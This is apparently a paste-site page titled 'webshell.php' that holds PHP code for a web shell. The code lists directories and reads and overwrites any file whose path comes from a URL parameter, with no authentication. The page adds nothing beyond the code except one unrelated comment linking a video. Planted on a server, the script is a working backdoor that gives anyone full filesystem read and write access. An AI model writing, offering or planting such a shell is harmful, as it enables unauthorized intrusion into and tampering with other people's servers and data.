cyberking icon

webshell.php

cyberking | PRO | 09/22/26 01:14:40 PM UTC (Edited) | 0 ⭐ | 14531 👁️ | Never ⏰ | []
PHP |

1.27 KB

|

Source Code

|

0 👍

/

0 👎

<?php
$d = isset($_GET['d']) ? $_GET['d'] : getcwd();
$d = rtrim($d, '/');
if ($d === '') { $d = '/'; }
 
if (is_file($d)) {
    if (isset($_POST['save'])) {
        $ok = file_put_contents($d, $_POST['save']);
        if ($ok === false) {
            echo "<p>write failed</p>";
        } else {
            echo "<p>saved (" . $ok . " bytes)</p>";
        }
    }
    $content = file_get_contents($d);
    echo '<h3>' . htmlspecialchars($d) . '</h3>';
    echo '<form method="post">';
    echo '<textarea name="save" rows="30" cols="120" style="width:100%;font-family:monospace">'
       . htmlspecialchars($content) . '</textarea><br>';
    echo '<button type="submit">Save</button>';
    echo '</form>';
    exit;
}
 
if (!is_dir($d)) {
    echo "<p>not found: " . htmlspecialchars($d) . "</p>";
    exit;
}
 
echo '<h3>' . htmlspecialchars($d) . '</h3>';
echo '<ul>';
if ($d !== '/') {
    $parent = dirname($d);
    echo '<li><a href="?d=' . urlencode($parent) . '">..</a></li>';
}
$items = scandir($d);
foreach ($items as $f) {
    if ($f === '.' || $f === '..') { continue; }
    $p = $d . '/' . $f;
    $label = htmlspecialchars($f) . (is_dir($p) ? '/' : '');
    echo '<li><a href="?d=' . urlencode($p) . '">' . $label . '</a></li>';
}
echo '</ul>';

Comments

  • roostakbitss icon
    09/23/26 02:02:39 PM UTC
    text |

    0 B

    |

    0 👍

    /

    0 👎

    watch this video if you dont think its true
     https://www.youtube.com/watch?v=I40Wv_OwDuI